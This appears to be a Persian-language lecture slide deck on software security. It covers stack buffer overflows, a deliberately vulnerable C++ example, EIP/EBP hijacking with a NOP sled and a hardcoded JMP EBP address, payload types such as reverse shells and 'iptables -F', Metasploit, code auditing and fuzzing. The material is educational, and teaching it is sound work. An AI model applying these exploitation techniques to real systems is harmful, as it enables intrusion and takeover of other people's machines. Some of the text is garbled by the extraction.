Docstoc

Attacking_Software

Document Sample
Attacking_Software Powered By Docstoc
					                              ‫مشکالت امنیتی نرم افزارها‬


                   ‫مروری بر روش های کشف ، حمله و مقابله‬

   ‫سید حمید کشفی‬
‫‪Hamid@OISSG.org‬‬
  ‫5 تیر ماه 7831‬
                      ‫مواردی که به آنها خواهیم پرداخت‬

                   ‫بررسی روش های حمله به نرم افزارها‬            ‫‪‬‬
                                    ‫نرم افزارهای کاربردی‬    ‫‪‬‬
                            ‫مروری بر حمالت سرریز بافر‬   ‫‪‬‬

                                    ‫نرم افزارهای تحت وب‬     ‫‪‬‬
  ‫مروری بر حمالت رایج )… ,‪(SQLi, XSS, Harvesting‬‬        ‫‪‬‬

               ‫بررسی روش های کشف ضعف های امنیتی‬                 ‫‪‬‬
                      ‫بازبینی کد )‪(Source-code Audit‬‬        ‫‪‬‬
                         ‫‪Fuzzing & Fault-Injection‬‬          ‫‪‬‬
                                 ‫‪Binary Analyzing‬‬           ‫‪‬‬
                        ‫بررسی روش های مقابله با حمالت‬           ‫‪‬‬
‫سیستم های محافظتی موجود در سطح سیستم عامل و سخت افزار‬       ‫‪‬‬
      ‫سیستم های محافظتی ایجاد شده توسط نرم افزارهای جانبی‬   ‫‪‬‬




                                                                ‫2‬
              ‫حمله به نرم افزار – نرم افزارهای کاربردی‬

             ‫‪ ‬ضعف امنیتی در نرم افزار چیست ؟‬
  ‫‪ ‬منظور از ‪ Exploit‬کردن یک ضعف امنیتی ؟‬
   ‫‪ ‬اهداف استفاده از ضعف های امنیتی نرم افزار‬
‫‪ ‬ایجاد اختالل در روال کار نرم افزار یا سیستم )‪(DoS‬‬
‫‪ ‬اجرای دستورالعملی خارج از روال معمول اجرای نرم‬
                 ‫افزار)‪(Controling Software‬‬
        ‫‪ ‬بدست گرفتن کنترل کامل نرم افزار یا سیستم‬
                   ‫عامل)‪(Controling System‬‬
                              ‫‪ Payload ‬چیست ؟‬

                                                      ‫3‬
                         ‫نرم افزارهای کاربردی – حمالت سرریز بافر‬

                             ‫‪ ‬بررسی روال اجرای یک نرم افزار‬
       ‫‪ ‬اختصاص یک محدوده آدرس در حافظه برای بارگذاری‬
                             ‫دستورالعمل ها و اطالعات الزم‬
             ‫‪ ‬بارگذاری سگمنت های تعریف شده در نرم افزار‬
                            ‫‪ : .text ‬حاوی دستورالعمل های اجرایی برنامه‬
‫‪ : .bss ‬حاوی اطالعات و متغیر های تعریف نشده )‪(uninitialized data‬‬

‫‪ : .data ‬حاوی اطالعات و متغیر های تعریف شده )‪(static initialized data‬‬

                              ‫‪ ‬اختصاص فضای ‪ Stack‬و ‪Heap‬‬


                                                                          ‫4‬
                    ‫نرم افزارهای کاربردی – حمالت سرریز بافر‬

  ‫سرریز بافر زمانی رخ میدهد که حجم اطالعات کپی شده به بافر ،‬   ‫‪‬‬
                     ‫بیشتر از میزان مشخص شده برای بافر باشد.‬
‫>‪#include <stdio.h‬‬
‫)‪Int main (int arge , char **argv‬‬
‫{‬
‫‖‪char target[5]=“AAAA‬‬
‫;)‖‪strcpy(target, ―AAAAABBBBCCCC‬‬
‫;)‖‪Printf(―%\n‖,target‬‬
‫;0 ‪Return‬‬
‫}‬

                                                               ‫5‬
                                    ‫نرم افزارهای کاربردی – حمالت سرریز بافر‬

               Stack Overflow ‫ بررسی یک کد آسیب پذیر به‬
#include <iostream.h>
#include <stdio.h>                                          12345...
#include <conio.h>
#include <stdio.h>

int Hijack()
{            cout << "This function should be hijacked!";
             getchar();                                        ....ABCD
             return 0; }
                                                                 EIP
int Function1()
{           char var1[15];
            cout << "_________1234567890abcd" <<
endl;                                                           Main()
            cout << "Enter Var1:";
            cin >> var1;
            cout << var1 << endl;
            return 0; }                                        Hijack()
int main()
{           Function1();
            getchar();                                                    6
            return 0; }
              ‫نرم افزارهای کاربردی – حمالت سرریز بافر‬

‫اتفاقی که پس از سرریز بافر رخ میدهد : تخریب روال اجرا‬   ‫‪‬‬
                                   ‫...54321‬


                                   ‫6543210.....‬

                                     ‫) ‪EBP ( AAAA‬‬
                                     ‫) ‪EIP ( BCDE‬‬


                                        ‫)(‪Main‬‬



                                        ‫)(‪Hijack‬‬


                                                        ‫7‬
                        ‫نرم افزارهای کاربردی – حمالت سرریز بافر‬

‫استفاده از قابلیت تغییر‪ EIP‬برای کنترل نرم افزار وفراخوانی توابعی که در روال اجرای‬   ‫‪‬‬
                                                ‫معمولی برنامه , فراخوانی نمیشوند‬
                                                             ‫...54321‬


                                                              ‫6543210.....‬

                                                                ‫) ‪EBP ( AAAA‬‬
                                                               ‫) 05010400( ‪EIP‬‬


                                                                     ‫)(‪Main‬‬



                                                                    ‫)(‪Hijack‬‬

                                                                                    ‫8‬
                        ‫نرم افزارهای کاربردی – حمالت سرریز بافر‬

   ‫با استفاده از روش ذکر شده ، میتوان اقدام به اجرای کد و دستورات دلخواه‬    ‫‪‬‬
                                                                    ‫نمود‬
        ‫با توجه به اینکه داده های ارسالی ما مستقیمآ در حافظه درج میشوند ،‬   ‫‪‬‬
                                  ‫دستورات می بایست به زبان ماشین باشد.‬
‫به دستوراتی که برای اجرا در حافظه درج میشوند اصطالحآ ‪ Payload‬گفته‬           ‫‪‬‬
                                                                   ‫میشود‬
    ‫رعایت نکردن نکاتی همچون عدم استفاده از کاراکترهای خاص )00‪(0x‬‬            ‫‪‬‬
                                               ‫باعث بروز مشکل خواهد شد‬
  ‫برای اینکه بتوانیم دستورات دلخواه خود را اجرا کنیم ، میبایست آدرس دقیق‬    ‫‪‬‬
                                        ‫آنها را پس از درج در حافظه بدانیم‬
 ‫روال پیاده سازی حمالت در واقعیت ، بسیار پیچیده تر و مشکل تر میباشد ~‬       ‫‪‬‬



                                                                            ‫9‬
                               ‫نرم افزارهای کاربردی – حمالت سرریز بافر‬

‫...54321‬                       ‫از دید پردازنده ، تفاوتی میان دستورالعمل ها و داده ها وجود‬   ‫‪‬‬
‫]‪[Injected Payload‬‬         ‫ندارد . ورودی داده شده درصورتی که دستور زبان ماشین معتبر‬
                                                                     ‫باشد اجرا خواهد شد.‬
‫6543210.....‬                 ‫یکی از روش های تزریق ‪ Payload‬درحافظه ، ارسال آن در‬             ‫‪‬‬
                                                 ‫قالب پارامترهای ورودی نرم افزار میباشد‬
   ‫) ‪EBP ( AAAA‬‬
                                 ‫سرریز بافر میتواند هم در فضای ‪ Stack‬و هم در فضای‬           ‫‪‬‬
‫)}‪EIP (0x{Payload Offset‬‬
                                                                         ‫‪ Heap‬رخ دهد‬
                           ‫بسته به محل وقوع سرریز )‪ (stack / Heap overflow‬نحوه‬              ‫‪‬‬
       ‫)(‪Main‬‬                 ‫تغییر روال اجرای برنامه و پرش به محل ‪ Payload‬متفاوت‬
                                ‫بوده وتکنیک ها و روش های مختلفی برای هر حالت وجود‬
                                                                                    ‫دارد.‬
      ‫)(‪Hijack‬‬                ‫قابلیت بازنویسی ‪ EIP‬الزامی نیست ! در نظر داشته باشید که‬       ‫‪‬‬
                             ‫بازنویسی هر یک از ثبات ها میتواند در نهایت منجر به اجرای‬
                    ‫00‪0x‬‬
                                                                        ‫‪ Payload‬گردد‬

                                                                                            ‫01‬
                                  ‫نرم افزارهای کاربردی – حمالت سرریز بافر‬
                    ‫روال پیاده سازی حمالت در واقعیت ، بسیار پیچیده تر و مشکل تر میباشد:‬             ‫‪‬‬
‫‪ ‬آدرس های بارگذاری توابع و ‪ Dll‬ها بسته به هر نسخه نرم افزار ، سیستم عامل و حتی ‪Service‬‬
                                                                     ‫‪ Pack‬تغییر میکند‬
      ‫در برخی موارد ، آدرس ها و ‪ offset‬های ثابت که در تمامی نسخ یکسان هستند نیز وجود دارند‬      ‫‪‬‬

                           ‫‪ ‬نیاز به آگاهی از آدرس دقیق دستورات درج شده )‪ (Payload‬در حافظه‬
                  ‫بر خالف ‪ ، Linux‬تخمین آدرس دقیق ‪ Stack‬در ویندوز براحتی امکانپذیر نیست‬         ‫‪‬‬
                                                       ‫استفاده از تکنیک ‪Return-to-lib/dll‬‬       ‫‪‬‬
                                                                   ‫استفاده از ‪NOP Sled‬‬          ‫‪‬‬

                                        ‫‪ ‬محدودیت در حجم دستوراتی که میتوان در بافر درج کرد‬
            ‫استفاده از بخش های مختلف حافظه که قابلیت تزریق در آنها وجود دارد ، و پرش بین آنها‬   ‫‪‬‬
                                                       ‫استفاده از ‪ Payload‬های چند مرحله ایی‬     ‫‪‬‬

                                  ‫‪ ‬محدودیت در استفاده ازکاراکترهایی که در حافظه درج میگردد‬
                              ‫شناسایی کاراکترهایی که پس از تزریق در حافظه دستکاری میشوند‬        ‫‪‬‬
                             ‫‪ Encode‬کردن ‪ Payload‬برای پرهیز از وجود کاراکترهای خاص‬              ‫‪‬‬

                                                               ‫‪ ‬نحوه ارسال دستورات به نرم افزار‬




                                                                                                    ‫11‬
                                 ‫نرم افزارهای کاربردی – حمالت سرریز بافر‬
  ‫‪ ‬در زبان ماشین ، امکان مقدار دهی به ‪ EIP‬بصورت مستقیم وجود ندارد ) مقادیر سایر ثبات ها توسط‬
                                     ‫دستوراتی چون ‪ ... CALL MOV JMP‬به ‪ EIP‬داده میشوند (‬
  ‫‪ ‬در مثالی که پیش از این ذکر شد ، با فرض اینکه ما امکان بدست آوردن آدرس دقیق ‪ Payload‬برای‬
   ‫استفاده دربازنویسی ‪ EIP‬را در نداریم ، میبایست از مقدار بازنویسی شده سایر ثبات ها استفاده کنیم .‬
     ‫‪ EBP ‬بازنویسی شده ، پس باید به دنبال دستورالعملی باشیم که محتوای ‪ EBP‬را در ‪ EIP‬درج کند‬
                                                                                      ‫)‪(JMP EBP‬‬
   ‫‪ ‬قدم بعد ، بازنویسی ‪ EBP‬برای اشاره به آدرسی از حافظه است که در آن دستورالعمل ‪JMP EBP‬‬
                                                                                     ‫وجود داشته باشد‬
 ‫‪ ‬نکته : توابع کتابخانه ایی پویا)‪ (DLL‬همواره در آدرس های مشخصی از حافظه بارگزاری میشوند . در‬
 ‫هر یک از ‪ DLL‬های موجود در حافظه ممکن است بخشی از دستورات ، دستورات مورد نظر ما باشد‬
‫‪ ‬ایده : جستجوی محدوده آدرس توابع کتابخانه ایی برای دستورالعمل مورد نظر ما ، و بدست آوردن آدرس‬
                                                                            ‫)‪ (offset‬آن دستورالعمل‬
                                                             ‫‪ ‬استفاده از ابزارهایی مانند ‪FindJump‬‬
                       ‫‪ ‬بازنویسی ‪ EIP‬با ‪ 0x7c822cac‬محتویات ‪ EBP‬را در ‪ EIP‬بازنویسی میکند‬
                                                     ‫‪ ‬بدین ترتیب بدون نیاز به درج آدرس ‪Payload‬‬
                                                                  ‫بطور مسقیم در ‪ ، EIP‬آنرا اجرا میکنیم‬
                                                                 ‫‪ ‬نتیجه : پایداری بیشتر در روال حمله‬


                                                                                                   ‫21‬
                              ‫نرم افزارهای کاربردی – حمالت سرریز بافر‬

                     ‫‪ ‬نتیجه نهایی ، نمایی از ‪ Stack‬پس از حمله‬
‫]… ‪GET / AA….A[ 0x90 Nop] [ JMP ] [overwrite EBP] [Overwrite EIP] [NOP] […. Payload‬‬

                          ‫5‬            ‫3‬     ‫6‬


‫‪AA...A‬‬      ‫‪NOP Sled jmp EBPEIP NOP‬‬                                      ‫‪Payload‬‬


                      ‫4‬                                        ‫‪ EIP‬با آدرسی که به ‪ jmp ebd‬اشاره دارد بازنویسی میشود‬      ‫1.‬
                                                                       ‫پردازنده به آدرس مراجعه کرده و دستور اجرا میشود‬   ‫2.‬
                          ‫2‬           ‫1‬
                                                     ‫محتویات ‪ EBP‬که به محل ‪ Nop Sled‬در حافظه اشاره دارد ، در ‪EIP‬‬         ‫3.‬
                                                                                                    ‫بازنویسی میشود‬
                       ‫‪Jmp ebp‬‬                   ‫پردازنده با توجه به ‪ ، EIP‬برای ادامه اجرای دستورات به آدرس ‪Nop Sled‬‬     ‫4.‬
                                                                                                      ‫مراجعه میکند‬
                      ‫‪Kernel32.dll‬‬
                                                      ‫پس از پایان ‪ Nop‬پردازنده به دستور پرش به ‪ Nop Sled‬دوم میرسد‬        ‫5.‬
                                              ‫‪ Nop Sled‬دوم اجرا شده و روال در نهایت به اجرای ‪ Payload‬ختم میگردد.‬         ‫6.‬

                                                                                                                    ‫31‬
                                        ‫حمالت سرریز بافر – بررسی ‪ Payload‬ها‬
                                           ‫به مرحله اجرای ‪ Payload‬رسیدیم . چه انتخاب هایی پیش رو داریم ؟‬            ‫‪‬‬
    ‫مراحل ادامه حمله پس از بارگذاری موفقیت آمیز ‪ ، Payload‬اصطالحآ ‪ Post Exploitation‬خوانده میشوند.‬                  ‫‪‬‬
                                                        ‫وجه مشترک همه ‪ Payload‬ها : بر اساس زبان ماشین‬               ‫‪‬‬
‫وجه تمایز : اجرای ‪ Payload‬در حافظه هر ‪ Platform‬و معماری پردازنده ، میبایست بر اساس همان شرایط باشد.‬                 ‫‪‬‬
 ‫برای تهیه و نوشتن ‪ Payload‬برای هر معماری میبایست از زبان ماشین همان پردازنده استفاده شود ) , 46/23‪IA‬‬               ‫‪‬‬
                                                                       ‫‪ SPARC , PowerPC, MIPS‬و... (‬
        ‫دستوراتی که ‪ Payload‬قصد اجرای آنرا دارند ، میبایست منطبق با سیستم عاملی باشد که به آن حمله میشود.‬           ‫‪‬‬
                                                                               ‫برخی از ‪ Payload‬های رایج :‬           ‫‪‬‬
                                        ‫اجرای دستورات بر روی سیستم عامل ) … , ‪( add user , iptables –F‬‬          ‫‪‬‬
                                        ‫فراهم کردن دسترسی از راه دور به سیستم هدف ) ‪(Reverse/Bind Shell‬‬         ‫‪‬‬
                        ‫فراهم کردن دسترسی پیشرفته از طریق ‪ Payload‬های پیچیده )‪( Meterpreter , MOSDEF‬‬            ‫‪‬‬
                              ‫‪ Proxy‬کردن فرامین زبان ماشین به سیستم هدف ، برای اجرا )‪( SysCall Proxying‬‬         ‫‪‬‬
                                    ‫در شرایط معمولی ، میتوان از ‪ Shellcode‬های از پیش آماده شده استفاده کرد‬          ‫‪‬‬
                                                                          ‫/‪http://milw0rm.com/shellcode‬‬         ‫‪‬‬
                                   ‫‪http://metasploit.org/data/shellcode/win32msf20payloads.tar.gz‬‬               ‫‪‬‬
  ‫بسته ‪ Metasploit Framework‬بیش از یکصد ‪ Payload‬آماده برای استفاده درشرایط ، سیستم عامل ها و معماری های‬         ‫‪‬‬
                                                ‫مختلف پردازنده را در اختیار قرار میدهد. )‪( www.metasploit.org‬‬




                                                                                                                    ‫41‬
                        ‫حمالت سرریز بافر – ‪Exploit Frameworks‬‬

      ‫همانطور که بررسی شد ، پیاده سازی یک حمله سرریز بافر مستلزم طی‬                        ‫‪‬‬
                                                  ‫مراحل مختلف میباشد‬
 ‫انجام برخی مراحل مستلزم تولید کد/ابزارهای خاص برای سرعت بخشیدن به کار میباشد‬          ‫‪‬‬
‫تولید ‪ Payload‬ها و بهینه سازی و آزمایش آنها امری زمان بر و نیازمند تجربه میباشد‬        ‫‪‬‬
         ‫در صورت لزوم پرهیز از کاراکترهای خاص ، پروسه تولید یا ‪ Encode‬کردن‬             ‫‪‬‬
                                                     ‫‪ Payload‬میبایست تکرارشود‬
      ‫برای استفاده از یک ضعف امنیتی در شرایط مختلف ، میبایست از ‪ Payload‬های‬            ‫‪‬‬
                                                               ‫متفاوتی استفاده گردد‬
  ‫با هربار نیاز به ایجاد تغییر جزئی در کد اکسپلویت ، کد میبایست مجددآ کامپایل و مورد‬   ‫‪‬‬
                                                                  ‫استفاده قرار گیرد‬
    ‫وجود یک مجموعه از ابزارها و امکانات در کنار یکدیگر که صرفآ برای‬                        ‫‪‬‬
   ‫آنالیز و تولید کد های اکسپلویت برای حمالت سرریز بافر تولید شده ، کمک‬
                                               ‫بزرگی محسوب میگردد.‬

                                                                                           ‫51‬
                      ‫حمالت سرریز بافر – ‪Exploit Frameworks‬‬
          ‫‪ Exploitation Framework‬های موجود به ما کمک میکنند تا‬                                       ‫‪‬‬
 ‫تنها یکبار اقدام به معرفی مشخصات ضعف امنیتی پرداخته و پس از آن بدون نیاز به‬                     ‫‪‬‬
                    ‫تغییر خاصی در کد ، بارها و در شرایط مختلف از آن استفاده کنیم‬
                  ‫نگران مراحل زمانگیر تولید و تست ‪ Payload‬های مختلف نباشیم‬                       ‫‪‬‬
‫براحتی و با استفاده از ‪ Encoder‬های موجود ، مشکل کاراکترهای فیلتر شده ) ‪Bad‬‬                       ‫‪‬‬
                                                               ‫‪ (chars‬را حل کنیم‬
                           ‫از امکانات موجود در ‪ Payload‬های پیشرفته استفاده کنیم‬                  ‫‪‬‬
                    ‫تعداد خطوط کد الزم برای تولید یک اکسپلویت بسیار کاهش میبابد‬                  ‫‪‬‬
                 ‫کمتر از 5 خط کد در محیط ‪ Framework‬معادل ده ها خط کد در یک اکسپلویت مستقل!‬   ‫‪‬‬

                            ‫معرفی ‪ Metasploit Framework‬و امکانات آن‬                                  ‫‪‬‬
                                                  ‫ابزارهای کمکی برای طی مراحل اولیه‬              ‫‪‬‬
                      ‫تولید ‪ Pattern‬برای سرریز کردن بافر )‪(pattern_create.rb‬‬                 ‫‪‬‬
    ‫محاسبه سایز بافر ، و تعداد بایت الزم برای سرریز کردن بافر )‪(pattern_offset.rb‬‬            ‫‪‬‬
                  ‫بانک اطالعاتی بسیار کامل برای یافتن ‪ offset‬های مختلف و مناسب‬               ‫‪‬‬
                                                ‫)/‪(http://metasploit.org/opcodedb‬‬



                                                                                                     ‫61‬
Metasploit Framework




     DEMO




                       17
                             ‫حمالت سرریز بافر – علت بروز مشکل‬

‫حمالت سرریزبافر ناشی از اشتباهات برنامه نویس در استفاده از توابع زبان‬       ‫‪‬‬
                                                    ‫برنامه نویسی هستند.‬
   ‫بسیاری از توابع ، به خودی خود ورودی/خروجی خود را کنترل نمیکنند‬           ‫‪‬‬
‫انتظار میرود که برنامه نویس پیش از استفاده از چنین توابعی ، حجم و نوع‬       ‫‪‬‬
 ‫اطالعات ارسالی/دریافتی از تابع را کنترل کند تا از بروز مشکل جلوگیری‬
                                                                    ‫شود.‬
  ‫برخی از توابع که استفاده از آنها بدون کنترل قبلی ، منجر به سرریز بافر‬     ‫‪‬‬
  ‫میگردد : )(‪strcat() , strcpy() ,sprintf() , vsprintf() , bcopy‬‬
                                                     ‫)(‪,gets() ,scanf‬‬
    ‫استفاده از توابع کتابخانه ایی که دارای مشکل هستند ، برنامه شما را نیز‬   ‫‪‬‬
                                             ‫دوچار مشکل امنیتی میکنند.‬


                                                                            ‫81‬
                                         ‫حمالت سرریز بافر – علت بروز مشکل‬

Vulnerable Function                 Function’s Purpose                                       Why Vulnerable


    Memcpy()          Copies one part of the memory to another, taking       It can place too much data, into too small a buffer,
                            two a source, a destination and a number of                       thus causing an overflow.
                                        bytes as arguments.



      Gets()          Receives data from the user, and places it into a      Doesn’t check how much data has been placed in
                                              buffer.                                    the buffer, perhaps too much!




     Sprintf()          Places formatted data into a buffer, replacing        It doesn’t check how much data is being placed
                            arguments with data, for example ‘%s’, ‘hi’                           into the buffer.
                             being written to buffer[5]; would result in
                            not ‘%s’ being placed in the buffer, but ‘hi’.




      Strcat()           Sticks one buffer onto the end of another.           Doesn’t check that the data being added will fit
                                                                                             within the buffer limits/


     Strcpy()           Copies the content of one buffer to another.         Once again, the destination length is not compared
                                                                                              with the source length.




                                                                                                                                    19
                                     ‫شناسایی مشکالت امنیتی نرم افزار‬
‫تکنیک ها و روش های متفاوتی برای شناسایی ضعف های امنیتی موجود در‬             ‫‪‬‬
                                             ‫نرم افزارها وجود دارد‬
                                    ‫بررسی کد )‪(Source-Code Audit‬‬      ‫‪‬‬
                                        ‫‪Fuzzing & Fault-Injection‬‬     ‫‪‬‬
                                 ‫‪Binary (Static/Dynamic) Analyze‬‬      ‫‪‬‬
    ‫بسته به شرایط ، امکانات ودقت عمل الزم از یک یا ترکیبی از چند روش‬        ‫‪‬‬
                                   ‫برای آنالیز یک نرم افزار استفاده میشود‬
                ‫الزامآ پیچیده ترین روش ، همیشه بهینه ترین روش نیست !‬        ‫‪‬‬
    ‫اگرچه بسیاری از تکنیک های کشف و شناسایی مشکالت امنیتی بصورت‬             ‫‪‬‬
‫‪ Automated‬نیز دراختیارهستند ، اما همواره نیاز به یک کاربر مسلط و با‬
                                                        ‫تجربه وجود دارد.‬
       ‫لزومآ هر مشکل سرریز بافر شناسایی شده ، قابل استفاده برای اجرای‬       ‫‪‬‬
                                                         ‫کد/دستور نیست .‬


                                                                            ‫02‬
                         ‫شناسایی مشکالت امنیتی نرم افزار – ‪Code Audit‬‬

                                               ‫بررسی کد )‪(Source-Code Audit‬‬                    ‫‪‬‬
          ‫))(‪(...strcat(), strcpy() ,sprintf(), vsprintf‬‬   ‫‪ ‬جستجو برای شناسایی توابع پر خطر‬
                    ‫کنترل روال برنامه ، برای شناسایی مشکالت منطقی )‪(Logical‬‬               ‫‪‬‬
‫روال جستجو بصورت ‪ ) Static‬بدون اجرای کد ( و ‪ ) Dynamic‬اجرا و بررسی کد (‬                   ‫‪‬‬

        ‫وجود یک تابع آسیب پذیر در کد ، به معنی وجود مشکل امنیتی نیست‬                           ‫‪‬‬
                     ‫بررسی و خواندن کد عملی خسته کننده و زمانبر است.‬                           ‫‪‬‬
       ‫حتی نرم افزارها و توابع ساده ، متشکل از چندین هزارخط کد میباشند.‬                        ‫‪‬‬
‫یکی از روش های تسریع بررسی ، تمرکز بر روی بخش هایی از کد است که‬                                ‫‪‬‬
‫احتمال وجود مشکل در آنها باالست ) توابع دریافت ورودی ، خواندن و نوشتن‬
                                                            ‫داده و ... (‬


                                                                                               ‫12‬
                  ‫شناسایی مشکالت امنیتی نرم افزار – ‪Code Audit‬‬

                                  ‫بررسی کد )‪(Source-Code Audit‬‬                              ‫‪‬‬
                                ‫استفاده از ابزارهای ‪ Automated‬برای بررسی کد‬             ‫‪‬‬
                              ‫ابزارهای آزاد و تجاری بسیاری بدین منظور تولید شده‬     ‫‪‬‬

                 ‫سرعت عمل این ابزارها در مقایسه با روش معمولی ، بسیار باالست‬        ‫‪‬‬

      ‫ابزارها غالبآ برای بررسی یک یا چند زبان برنامه نویسی خاص طراحی میشوند‬         ‫‪‬‬

            ‫درصد گزارش های خطا )‪ (False Positive‬در اینگونه ابزارها باالست‬           ‫‪‬‬

‫این قبیل ابزارها قادر به تشخیص و گزارش مشکالت امنیتی ناشی از خطاهای ‪Logical‬‬         ‫‪‬‬
                                                                           ‫نیستند‬
 ‫استفاده از این ابزارها به تنهایی ، برای بررسی امنیتی یک نرم افزار هرگز کافی نیست‬   ‫‪‬‬

        ‫لیستی از ابزارهای ‪ Automated‬برای ‪: Static Code Audit‬‬                                ‫‪‬‬
           ‫‪http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis ‬‬
          ‫‪http://samate.nist.gov/index.php/Source_Code_Security_Analyzers ‬‬




                                                                                            ‫22‬
                          ‫شناسایی مشکالت امنیتی نرم افزار- ‪Fuzzing‬‬

                                        ‫‪Fuzzing & Fault-Injection‬‬                  ‫‪‬‬
            ‫‪ ‬هزینه کمتر در مقایسه با سایر روش ها ، به نسبت بازدهی‬
      ‫‪ ‬قابلیت پیاده سازی با پیچیدگی کمتر ، در مقایسه با سایر روش ها‬
                  ‫‪ ‬بررسی ‪ BlackBox‬نرم افزار برای کشف مشکالت‬
‫‪ ‬تولید ورودی های تصادفی اما کنترل شده ، که منجر به ایجاد اختالل در‬
                                           ‫روند کار نرم افزار گردد.‬
                       ‫تغذیه نرم افزار و پارامتر ها با داده های کامآل تصادفی‬   ‫‪‬‬
 ‫تغذیه نرم افزار و پارامترها در قالب پروتکل ها و استانداردهای مشخص ، اما با‬    ‫‪‬‬
                                                 ‫پارامترها و مقادیر تصادفی‬
‫‪ ‬داده های تولید شده توسط ‪ Fuzzer‬باید آنقدر حساب شده باشند تا از دید‬
‫نرم افزار قابل دریافت و محاسبه باشند ، و در عین حال آنقدر تصادفی و‬
                   ‫مامتعارف که بتوانند نرم افزار را دوچار اختالل کنند.‬


                                                                                   ‫32‬
                                   ‫شناسایی مشکالت امنیتی نرم افزار- ‪Fuzzing‬‬
                                                                     ‫تکنیک های مختلف ‪: Fuzzing‬‬        ‫‪‬‬
                                                                     ‫‪Session Data Fuzzers ‬‬
‫بررسی اطالعات و پارامترهای رد و بدل شده در یک ‪ session‬معتبر وسعی در دستکاری پارامترها و‬           ‫‪‬‬
                                                                               ‫ارسال آنها‬
                                                     ‫پیاده سازی این روش بسیار ساده میباشد‬         ‫‪‬‬

                                                                        ‫‪Specialized Fuzzers ‬‬
                   ‫بررسی کلیه پارامترها و خواص یک پروتکل/استاندارد خاص در قالب ‪Fuzzing‬‬            ‫‪‬‬
                                            ‫نیازمند تولید ابزار/اسکریپت خاص برای هر پروتکل‬        ‫‪‬‬
‫کارآمدی ‪ Fuzzer‬وابسته به کیفیت پیاده سازی پروتکل و تعریف پارامترهای آن برای ‪ Fuzzing‬میباشد‬        ‫‪‬‬
             ‫تولید این دسته از ‪ Fuzzer‬ها نیازمند اشراف کامل و دقیق به پروتکل تحت بررسی دارد‬       ‫‪‬‬
                               ‫استفاده از این قبیل ‪ Fuzzer‬ها نیاز به دانش فنی باالی کاربر ندارد‬   ‫‪‬‬
                  ‫‪ Fuzzer‬های اختصاصی برای … , ‪SIP , SSL , SMTP , SNMP , RPC‬‬                       ‫‪‬‬

                                                                             ‫‪Generic Fuzzers ‬‬
                                                         ‫قابلیت ‪ Fuzzing‬پروتکل های متعدد‬          ‫‪‬‬
                ‫کاربر میبایست اقدام به تعریف پروتکل مورد نظر خود تحت امکانات ‪ Fuzzer‬بنماید‬        ‫‪‬‬
              ‫تمام پارامترهایی که می بایست بررسی شوند ، توسط کاربر به ‪ Fuzzer‬معرفی میشوند‬         ‫‪‬‬
                                ‫استفاده از این دسته ‪ Fuzzer‬ها برای کاربران عادی مشکل است‬          ‫‪‬‬
 ‫کیفیت تست یک پروتکل خاص توسط این دسته ، در مقایسه با ‪ Specialized Fuzzer‬ها کمتر است.‬             ‫‪‬‬




                                                                                                      ‫42‬
                                ‫شناسایی مشکالت امنیتی نرم افزار- ‪Fuzzing‬‬
‫نمیتوان انتظار داشت که همیشه جایگزینی مقدار یک پارامتر در پروتکل با داده ایی بزرگتر ،‬              ‫‪‬‬
                                                                     ‫از دید نرم افزار معتبر باشد‬
       ‫در بسیاری از پروتکل ها )خصوصآ پروتکل های باینری( بدلیل ماهیت داده ها ، نیاز به‬              ‫‪‬‬
                                               ‫تفکیک فیلد های مختلف داده ها از یکدیگر میباشد.‬
                   ‫حداقل اطالعات مربوط به هر فیلد میتواند شامل سایز فیلد و داده آن فیلد باشد‬       ‫‪‬‬
  ‫در صورتی که بدون در نظر گرفتن این مورد اقدام به دستکاری محتوای یک پروتکل گردد،‬                   ‫‪‬‬
      ‫پارامترهای ‪ Fuzz‬شده یک فیلد ، اطالعات فیلد های بعد از خود را تخریب میکند = غیر‬
                                                       ‫معتبر شدن آن درخواست از دید نرم افزار‬
 ‫مفهوم ‪ Block Based Fuzzing‬بر همین اصل استوار است . محاسبه پویای سایز هر فیلد‬                      ‫‪‬‬
   ‫، کل بسته درخواست و چیدن همه پارامتر های معتبر و تحت بررسی در کنار یکدیگر ، در‬
                                                       ‫زمان تولید یک درخواست برای نرم افزار‬
        ‫مثال ساده : در بررسی پروتکل ‪ HTTP‬و ارسال یک درخواست ‪ POST‬نمیتوان تنها‬                      ‫‪‬‬
 ‫پارامترها را دستکاری و ارسال نمود ، بلکه در هر درخواست میبایست مقدار صحیح پارامتر‬
                                   ‫‪ content-lenght‬محاسبه شده و در درخواست درج گردد.‬
   ‫‪ ، SPIKE‬یک نمونه ‪ General Fuzzer‬که بر مبنای ‪ Block-Based Fuzzing‬کار‬                             ‫‪‬‬
                                                                                          ‫میکند‬


                                                                                                   ‫52‬
                         ‫شناسایی مشکالت امنیتی نرم افزار- ‪Fuzzing‬‬

                                     ‫اهداف ‪ Fuzzer‬ها و کاربرد آنها‬          ‫‪‬‬
‫‪ ‬بررسی پروتکل های ارتباطی شبکه ) ‪Routing protocols, IP stack‬‬
                                                                ‫…,(‬
                                       ‫‪ ‬بررسی پروتکل های تحت شبکه‬
                           ‫)…,‪(ssh,ftp,smtp,ssh,http,snmp‬‬
          ‫‪ ‬بررسی توابع , آرگومان ها و پارامترهای یک نرم افزار خاص‬
  ‫‪ ‬بررسی مشکالت مربوط به خواندن )‪ (parse‬اطالعات از فایل ورودی‬
   ‫‪ ‬بررسی بسته های نرم افزاری خاص )-‪browser,mail-client,ftp‬‬
                                                             ‫‪(clients‬‬
         ‫‪ ‬بررسی قابلیت ها و پارامترهای خاص ، در یک پروتکل خاص‬
  ‫‪ { . . . ‬هر نوع پارامتر ، داده و یا قابلیتی که به نحوی در روند کار نرم‬
                                                    ‫افزار دخیل است! {‬


                                                                            ‫62‬
                   ‫شناسایی مشکالت امنیتی نرم افزار- ‪Fuzzing‬‬
                                           ‫‪Fuzzing Frameworks‬‬               ‫‪‬‬
      ‫قابلیت عمل بصورت ‪ Generic Fuzzer‬یا ‪Specialized Fuzzer‬‬             ‫‪‬‬
                       ‫غالبآ توسط زبان های اسکریپت نویسی تولید میشوند‬   ‫‪‬‬
             ‫‪ API‬های مختلفی را برای ‪ Fuzzing‬در اختیار قرار میدهند‬       ‫‪‬‬
                       ‫از پروتکل های )تحت شبکه( زیادی پشتیبانی میکنند‬   ‫‪‬‬
              ‫قابلیت گسترش و افزودن پروتکل های جدید به ‪framework‬‬        ‫‪‬‬
                ‫‪ Fuzzer‬ها نسبت به گذشته تحوالت بسیاری داشته اند‬             ‫‪‬‬
                                    ‫مانیتور کردن نرم افزار تحت بررسی‬    ‫‪‬‬
